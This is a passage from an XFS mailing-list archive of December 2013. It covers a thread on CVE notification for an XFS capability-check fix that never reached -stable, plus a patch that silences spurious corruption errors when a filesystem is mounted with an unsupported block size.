> > Agreed. I'm going to interpret your comments at being directed to the > > general audience because otherwise you're just shooting the messenger > > :). > > Right, they are not aimed at you - they are aimed at those on the > security side of the fence. I'm tired of learning about CVEs in XFS > code through chinese whispers and/or luck. CVEs for the kernel are almost always "assigned" after the problem is fixed, or when people "notice" something was changed upstream. At that point, there's no need for the original committer to be notified, as there's nothing to do. Anyway, I understand your frustration about CVEs, I don't like them much either, but some people do, so let them deal with them, and don't give them a second thought. greg k-h From keescook@google.com Tue Dec 10 20:36:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8E4EC7FD1 for ; Tue, 10 Dec 2013 20:36:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 584A98F8039 for ; Tue, 10 Dec 2013 18:36:13 -0800 (PST) X-ASG-Debug-ID: 1386729371-04bdf0131b19c100001-NocioJ Received: from mail-ob0-f170.google.com (mail-ob0-f170.google.com [209.85.214.170]) by cuda.sgi.com with ESMTP id Auu0KNFGGqhcIord (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 18:36:12 -0800 (PST) X-Barracuda-Envelope-From: keescook@google.com X-Barracuda-Apparent-Source-IP: 209.85.214.170 X-Barracuda-IPDD: Level1 [google.com/209.85.214.170] Received: by mail-ob0-f170.google.com with SMTP id wp18so6298192obc.15 for ; Tue, 10 Dec 2013 18:36:11 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.214.170] X-Barracuda-IPDD: Level1 [google.com/209.85.214.170] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=YHSCgu8jcpHrxj5p7eulRD7F85TMKD5S6DIFJyX9niI=; b=UezB4MzrZzlX+DVUuCHd4FL6lYRH26mDUK1RuZsRvwbXTj1tDp3gUbPWFbj4aSj62S BBxq8nXkMp7nxECVMgOevnr4USCo7OOVnPl0wpxYCJfWs56ltvkt6rx/oUg3c2sAFj/+ I/I5SVmjfWItTYn7FDbbAqmKr8Odt6WCLhRU5titkHUhY4bJW5EwH1QeYRTV24YzPsqS S6jfiIGof7iBTpU/faQ0iLC1mAK8FxSI9FZ+NRVKuD1Q7UrVeWdklsGI7NEciEb/IJB6 /1kDqFrd2qWh+AbxVaXFhHX3T2y4jlYiNWjky6cxcj95rqXBRhS84Rzwzyd5YAkbgZ6j gyog== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=YHSCgu8jcpHrxj5p7eulRD7F85TMKD5S6DIFJyX9niI=; b=R+bQTf1YHUUcNGvS6bw9LgXaf93kahXJRNAVn1yW2seobKh/vVDe94n5YoiwvKXopo nXJC7vNzjzXyqbnCz54E3+d25zGT2dW2PCrXlleLuT5GmejrOdpOnEUdJM6IU6WHZx1T J3MJCzVVdIKXoiHxM38zr9JMgwFX7m2NP7GhYcAu99fvJO0++SAflyJgxRLusq/vXwiw jz+ae7RI7IIHk86TpP4cFHafp2nvErF8jLthju7hbzzzE02/abIoB8LfAWsHQVIGS2Sm gumGU9GyrcjFaxC4g0rHO4QGHiTkdyFBjoXMlne2EtVRVNdSWHN9Jnz5qgZ2EIzXGkE3 DQcg== X-Gm-Message-State: ALoCoQlTFidTRl2w3v/IgDkKlNpDvF4yNB1m2INYdMjU0xLv9oj++GaoNpj1bXUMsJpM04PHY7r1Vdu6BBK+xT6weA42G5+moEaigrTvYDR9k73/Wx+LvAmAUkUNWM98NYFU0xHCKRX6Qr7nT0GpqCjNLe8fQnECMLbw93TyVMa6ZKCJTdMnroYIk1+nc0DNN7J0RQ6+dZcp MIME-Version: 1.0 X-Received: by 10.60.179.113 with SMTP id df17mr19366387oec.16.1386729371538; Tue, 10 Dec 2013 18:36:11 -0800 (PST) Received: by 10.182.213.33 with HTTP; Tue, 10 Dec 2013 18:36:11 -0800 (PST) In-Reply-To: <20131209233002.GV31386@dastard> References: <20131209233002.GV31386@dastard> Date: Tue, 10 Dec 2013 18:36:11 -0800 Message-ID: Subject: Re: XFS security fix never sent to -stable? From: Kees Cook X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? To: Dave Chinner Cc: Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , Greg KH , xfs@oss.sgi.com Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ob0-f170.google.com[209.85.214.170] X-Barracuda-Start-Time: 1386729372 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143002 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Dec 9, 2013 at 3:30 PM, Dave Chinner wrote: > [CC the xfs list. Kees - I shouldn't have to remind you to do this. ] > > On Thu, Dec 05, 2013 at 04:35:50PM -0800, Kees Cook wrote: >> Hi, >> >> It looks like 8c567a7fab6e086a0284eee2db82348521e7120c ("xfs: add >> capability check to free eofblocks ioctl") is a security fix that was >> never sent to -stable? From what I can see, it was introduced in 3.8 >> by 8ca149de80478441352a8622ea15fae7de703ced ("xfs: add >> XFS_IOC_FREE_EOFBLOCKS ioctl"). >> >> I don't see this in the 3.8.y tree. Should it be added there and newer? > > Well, it's not really a security problem at all, given that it only > affects speculative preallocation beyond EOF. i.e. it affects > filesystem metadata that does not yet index any user data. > > Indeed, the kernel already does exactly what this ioctl does every 5 > minutes without user intervention. i.e. it's simply a maintenance > task we need to execute periodically or on demand as a result of > other events (e.g. from a userspace daemon that is listen to quota > exhaustion messages). > > So apart from allowing a user to burn some CPU with the ioctl doing > nothing but scanning, there's little in way of a security problem > being exposed on kernels prior to 3.12 here. > > The reason for the cap check? Turning off this ioctl in containers > restricted by user name spaces. i.e. new functionality added to XFS > in 3.12 introduced curiously vague and difficult to explain new > inode access restrictions, so we took the "be safe by default" route > and only allowed the init namespace access to the ioctl.... Right, it wasn't clear from the commit, and it looked troublesome, but it's function wasn't obvious, so that's why I asked. -Kees -- Kees Cook Chrome OS Security From keescook@google.com Tue Dec 10 20:46:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 344037FD4 for ; Tue, 10 Dec 2013 20:46:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D4A4AAC00B for ; Tue, 10 Dec 2013 18:45:56 -0800 (PST) X-ASG-Debug-ID: 1386729955-04bdf0131b19c570001-NocioJ Received: from mail-oa0-f44.google.com (mail-oa0-f44.google.com [209.85.219.44]) by cuda.sgi.com with ESMTP id zlQGhDcyykeokmWW (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 18:45:55 -0800 (PST) X-Barracuda-Envelope-From: keescook@google.com X-Barracuda-Apparent-Source-IP: 209.85.219.44 X-Barracuda-IPDD: Level1 [google.com/209.85.219.44] Received: by mail-oa0-f44.google.com with SMTP id m1so6634646oag.31 for ; Tue, 10 Dec 2013 18:45:55 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.219.44] X-Barracuda-IPDD: Level1 [google.com/209.85.219.44] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=FsXNR0q/l3YdWVpIDvXGhFa8XcgDBe4hkmtLR4L/eZk=; b=h1pk47xnDJaWBCe0xsfAP2jG8h+707U1xo+25Ll5Q6QUE462o8v4auqsFSKzCWAwbL JX10dAD4Dos59YNghnRI7o3Sz+B4tI9w6I3A0gRyihx05Ifj7ynzGK9Iw2HQZ76+Dapu YdAuogSLb1lS1MaFHYSe7AyRHWPtuOswWnZRQPbUMGQxyk8D4uJTs7cDV6rbxnIMfsr/ SOD4sQmDwpniO3tIEkFyGxxOZ0dQ62wS8183rbEUAdf08qhLaNNrAFPrZqqfFOs1kBgs UEmwHG62Lig+cN8yRxIwR37cfaWdghsmjeUMmThSIdryMa25JFKXXqPmz1eJCT6Mvykc 4DNA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=FsXNR0q/l3YdWVpIDvXGhFa8XcgDBe4hkmtLR4L/eZk=; b=LX6b9QpGzOqYORwS2wwQOoLLOlQLBpx8c31ooo3gSARWuQDJqYS8axLmyMsyL7KiOn FDDqefU2ezEm8J7IX+pg3XQCqLG69la8+sCZNTvPNPmQFDqB2MZro08xj87odJDgiFl8 R9o8WDzHJMxbZklTULf1dOr9iLB0z7XOc5Y4EDBGBZZ3PGiaKNggZFPcerxkgktHfrq3 d6tbSm0r5/G3eXmY6saXXvbuUaStuEHzohUEBpFz2/K3iDKh3KxWoD8l14oUSu5RsIY4 ZOFSt6hsW0yyb2aSs5kOvdCusIyzn2eRNGpiTjwwPYKDNpCKEAJVaTIFXI2ATgvXkB5n 8oJg== X-Gm-Message-State: ALoCoQmmQbBJZ5xN7pUTP/frvJY21J8OEEe47UKdKOe6MMe99Dn3wEjYzbwmMvXKDRDDLpwghKuqnLc6KdFOcXsnnYs4EyQf74gYqVOSr2fkbxZuCWAovlY+cEy7mOBfNAJOMc4xeSv5H+MfrotLs/Jvko2qsqzgD9yff2dKXJhL/H7EvDM/7sUIXhbbQUHF1YbmMpYqQHuf MIME-Version: 1.0 X-Received: by 10.182.88.202 with SMTP id bi10mr9337800obb.52.1386729955093; Tue, 10 Dec 2013 18:45:55 -0800 (PST) Received: by 10.182.213.33 with HTTP; Tue, 10 Dec 2013 18:45:54 -0800 (PST) In-Reply-To: <20131211020007.GH10988@dastard> References: <20131209121534.GE4278@hercules> <20131209235523.GW31386@dastard> <20131211010326.GF10988@dastard> <20131211020007.GH10988@dastard> Date: Tue, 10 Dec 2013 18:45:54 -0800 Message-ID: Subject: Re: XFS security fix never sent to -stable? From: Kees Cook X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? To: Dave Chinner Cc: Josh Boyer , Luis Henriques , Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , Greg KH , xfs@oss.sgi.com, "stable@vger.kernel.org" , Dan Carpenter Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-oa0-f44.google.com[209.85.219.44] X-Barracuda-Start-Time: 1386729955 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143002 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Dec 10, 2013 at 6:00 PM, Dave Chinner wrote: > On Tue, Dec 10, 2013 at 08:10:51PM -0500, Josh Boyer wrote: >> On Tue, Dec 10, 2013 at 8:03 PM, Dave Chinner wrote: >> > Security processes are not something that should be hidden away in >> > it's own private corner - if there's a problem upstream needs to >> > take action on, then direct contact with upstream is necessary. We >> > need to know about security issues - even ones that are classified >> > post-commit as security issues - so we are operating with full >> > knowledge of the issues in our code and the impact of our fixes.... >> >> Agreed. I'm going to interpret your comments at being directed to the >> general audience because otherwise you're just shooting the messenger >> :). > > Right, they are not aimed at you - they are aimed at those on the > security side of the fence. I'm tired of learning about CVEs in XFS > code through chinese whispers and/or luck. Mostly I try to shield anyone not interested in CVEs from the boring process, and try to focus on just getting things marked as needing to go into stable. I don't think anyone needs to read the oss-security list if they don't want to. In this case, the fix Dan sent was part of a larger collection of security issues reported by Nico. I think the communication error here was Dan accidentally forgetting to add the Cc: stable tag. But beyond that, it was sent to the xfs list and Cc: to security, so I'm not sure it's fair to say it was hidden away. :) Besides the missing Cc: stable tag, what should future patch senders do to call attention to an issue being a security problem at the time it is being reported? -Kees -- Kees Cook Chrome OS Security From xfs@tlinx.org Tue Dec 10 22:12:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D4E137FD6 for ; Tue, 10 Dec 2013 22:12:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B5BF5304067 for ; Tue, 10 Dec 2013 20:12:16 -0800 (PST) X-ASG-Debug-ID: 1386735134-04cbb0416669a810001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id WcmcxJobRWGkohY6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 20:12:15 -0800 (PST) X-Barracuda-Envelope-From: xfs@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id rBB4CCsZ056916 for ; Tue, 10 Dec 2013 20:12:14 -0800 Message-ID: <52A7E61D.3040900@tlinx.org> Date: Tue, 10 Dec 2013 20:12:13 -0800 From: LA Walsh User-Agent: Thunderbird MIME-Version: 1.0 To: xfs-oss Subject: Re: Q: about xfs pre-allocation References: <52A75820.9090004@tlinx.org> <20131211014638.GG10988@dastard> X-ASG-Orig-Subj: Re: Q: about xfs pre-allocation In-Reply-To: <20131211014638.GG10988@dastard> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1386735135 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143004 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/10/2013 5:46 PM, Dave Chinner wrote: > On Tue, Dec 10, 2013 at 10:06:24AM -0800, LA Walsh wrote: >> Could someone comment on my [mis-]understanding in regards to >> what the note below said > > It's mostly wrong information. > > Just a suggestion: take anything advice given about XFS on lists > other than this one with a grain of salt. There's lots of people out > there who *think* they know how XFS works, but there's very few who > actually know how XFS works. --- Well, even thinking I had a clue, I wanted to check here, cuz, things change and I might give out totally wrong info... yuck... I appreciate your expertise and tireless[?] efforts on a great FS. ===== Brian, Thanks for the different detail and emphasis... Sometimes I need to read something in multiple ways to fully get it (assuming I 'get' it...) From david@fromorbit.com Tue Dec 10 22:18:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 083CD7FCD for ; Tue, 10 Dec 2013 22:18:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C2CDF8F8039 for ; Tue, 10 Dec 2013 20:18:05 -0800 (PST) X-ASG-Debug-ID: 1386735483-04bdf0132219ff00001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id ZUZdveaK53GHIf6N for ; Tue, 10 Dec 2013 20:18:03 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ar8IAJTmp1J5LHyk/2dsb2JhbABZgweDOLElhU+BHxd0giUBAQQBOhwXDAULCAMYCSUPBSUDIROHfAXBXhcWjm8HhDQEmBOSFIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Dec 2013 14:48:02 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqbFH-0005xM-1s; Wed, 11 Dec 2013 15:17:59 +1100 Date: Wed, 11 Dec 2013 15:17:59 +1100 From: Dave Chinner To: Kees Cook Cc: Josh Boyer , Luis Henriques , Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , Greg KH , xfs@oss.sgi.com, "stable@vger.kernel.org" , Dan Carpenter Subject: Re: XFS security fix never sent to -stable? Message-ID: <20131211041758.GI10988@dastard> X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? References: <20131209121534.GE4278@hercules> <20131209235523.GW31386@dastard> <20131211010326.GF10988@dastard> <20131211020007.GH10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386735483 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143004 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 10, 2013 at 06:45:54PM -0800, Kees Cook wrote: > On Tue, Dec 10, 2013 at 6:00 PM, Dave Chinner wrote: > > On Tue, Dec 10, 2013 at 08:10:51PM -0500, Josh Boyer wrote: > >> On Tue, Dec 10, 2013 at 8:03 PM, Dave Chinner wrote: > >> > Security processes are not something that should be hidden away in > >> > it's own private corner - if there's a problem upstream needs to > >> > take action on, then direct contact with upstream is necessary. We > >> > need to know about security issues - even ones that are classified > >> > post-commit as security issues - so we are operating with full > >> > knowledge of the issues in our code and the impact of our fixes.... > >> > >> Agreed. I'm going to interpret your comments at being directed to the > >> general audience because otherwise you're just shooting the messenger > >> :). > > > > Right, they are not aimed at you - they are aimed at those on the > > security side of the fence. I'm tired of learning about CVEs in XFS > > code through chinese whispers and/or luck. > > Mostly I try to shield anyone not interested in CVEs from the boring > process, and try to focus on just getting things marked as needing to > go into stable. I don't think anyone needs to read the oss-security > list if they don't want to. Which is how is should be. ;) All I want is some kind of notification when a CVE raised for an XFS issue. It may be telling us something we already known, but if: a) it has not yet been pushed upstream; or b) it was not marked for stable kernels at commit time; or c) don't have a fix for it yet then it's an indication that we need to pay a little more attention to this class of problem when we review similar fixes. > In this case, the fix Dan sent was part of a larger collection of > security issues reported by Nico. I think the communication error here > was Dan accidentally forgetting to add the Cc: stable tag. But beyond > that, it was sent to the xfs list and Cc: to security, so I'm not sure > it's fair to say it was hidden away. :) Right - this falls into the above category a) because of that. There didn't appear to be any urgency because of the level of exposure of the problem (i.e. need CAP_SYS_ADMIN to trip over it) and the fact it's been like this for the past 10 years.... > Besides the missing Cc: stable tag, what should future patch senders > do to call attention to an issue being a security problem at the time > it is being reported? Well, it may not be known at the time it's considered a security issue, so I think that the best thing to do is make sure that when a CVE is actually raise a note is sent to the relevant list just to indicate 'CVE 1024-3267 has been raised for commit abcd1234 ("xfs: knabgraddle the frobnozzle")'. At least that way everyone - including XFS users - that there is an issue that they might want to look out for and plan to upgrade their stable kernels in the not-to-distant future... Cheers, Dave. -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Tue Dec 10 22:28:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 772907FD8 for ; Tue, 10 Dec 2013 22:28:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 60883304066 for ; Tue, 10 Dec 2013 20:28:24 -0800 (PST) X-ASG-Debug-ID: 1386736093-04cb6c537c6925f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id zCcDx3xSmdGLWs6c (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 20:28:14 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBB4Rji6019252 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Dec 2013 04:27:46 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBB4RjUi012613 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Dec 2013 04:27:45 GMT Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBB4RiCq012605; Wed, 11 Dec 2013 04:27:44 GMT Received: from [192.168.1.104] (/221.223.111.128) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 10 Dec 2013 20:27:44 -0800 Message-ID: <52A7E9BC.3020905@oracle.com> Date: Wed, 11 Dec 2013 12:27:40 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner , Dave Chinner CC: Christoph Hellwig , "xfs@oss.sgi.com" Subject: Re: [PATCH 04/15] mkfs: validate all input values References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-5-git-send-email-david@fromorbit.com> <20131202170420.GA14935@infradead.org> <20131202231202.GA10988@dastard> <20131203094207.GB4906@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 04/15] mkfs: validate all input values In-Reply-To: <20131203094207.GB4906@infradead.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386736093 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143004 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi, Dave, While test this patch, I wonder if we should also validate non-supported data block size combine with the system page size or not, as we do such kind of checkup for non-supported inode size in mkfs... I can simply trigger scary corruption error with backtraces on 4K page size machine via: mkfs.xfs -f -b size=8192 /dev/xxx; mount /dev/xxx /xfs Also, here is patch inspired by Eric's previous fix for non-xfs mount probes. Thanks, -Jeff From: Jie Liu Subject: xfs: don't emit corruption noise on non-supported mount options There is no need to issue the scary corruption error and backtrace which were shown as following if we get ENOSYS due to mount with non-supported options, e.g, mkfs.xfs -f -b size=8192 /dev/sda7 XFS (sda7): File system with blocksize 8192 bytes. Only pagesize (4096) or less will currently work. ......... XFS (sda7): Internal error xfs_sb_read_verify at line 630 of file fs/xfs/xfs_sb.c Workqueue: xfslogd xfs_buf_iodone_work [xfs] Call Trace: [] dump_stack+0x45/0x56 [] xfs_error_report+0x3b/0x40 [xfs] [] ? xfs_buf_iodone_work+0xa5/0xd0 [xfs] [] xfs_corruption_error+0x55/0x80 [xfs] [] xfs_sb_read_verify+0x143/0x150 [xfs] [] ? xfs_buf_iodone_work+0xa5/0xd0 [xfs] [] xfs_buf_iodone_work+0xa5/0xd0 [xfs] [] process_one_work+0x182/0x450 [] worker_thread+0x121/0x410 [] ? rescuer_thread+0x3e0/0x3e0 [] kthread+0xd2/0xf0 [] ? kthread_create_on_node+0x190/0x190 [] ret_from_fork+0x7c/0xb0 [] ? kthread_create_on_node+0x190/0x190 XFS (sda7): Corruption detected. Unmount and run xfs_repair XFS (sda7): SB validate failed with error 38. This is inspired by another similar fix from Eric Sandeen: [ commit 31625f28a "xfs: don't emit corruption noise on fs probes" ] Signed-off-by: Jie Liu --- fs/xfs/xfs_sb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index b7c9aea..47e69c8 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -625,7 +625,7 @@ xfs_sb_read_verify( out_error: if (error) { - if (error != EWRONGFS) + if (error != EWRONGFS && error != ENOSYS) XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, error); -- 1.8.3.2 On 12/03 2013 17:42 PM, Christoph Hellwig wrote: > On Tue, Dec 03, 2013 at 10:12:02AM +1100, Dave Chinner wrote: >> How does this make sense, though? >> >> # mkfs.xfs -s size=4s /dev/vda >> >> Specifying the sector size in *sectors* is currently considered a >> valid thing to do. That's insane and fundamentally broken, because >> this >> >> # mkfs.xfs -b size=4s -s size=2s /dev/vda >> >> results in the block size conversion using a 512 byte sector size, >> and everything else using a 1024 byte sector size for conversions. >> e.g: >> >> # mkfs.xfs -b size=4s -s size=2s -n size=2s /dev/vda >> >> results in a block size of 2k (4*512) and a directory block size of >> 2k (2*1024). i.e. the result of unit conversion is dependent on >> where the sector size is specified on the command line! > > True. Guess we should indeed just outright rejecting it. I was more > concerned about using the sector size before defined for other > parameters, but given how seldomly we specify it on the command line > anyway we're probably better off just using the normal table based > validation. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 00:55:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 468257FE0 for ; Wed, 11 Dec 2013 00:55:28 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 210CB304032 for ; Tue, 10 Dec 2013 22:55:28 -0800 (PST) X-ASG-Debug-ID: 1386744925-04cbb0416669efe0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with 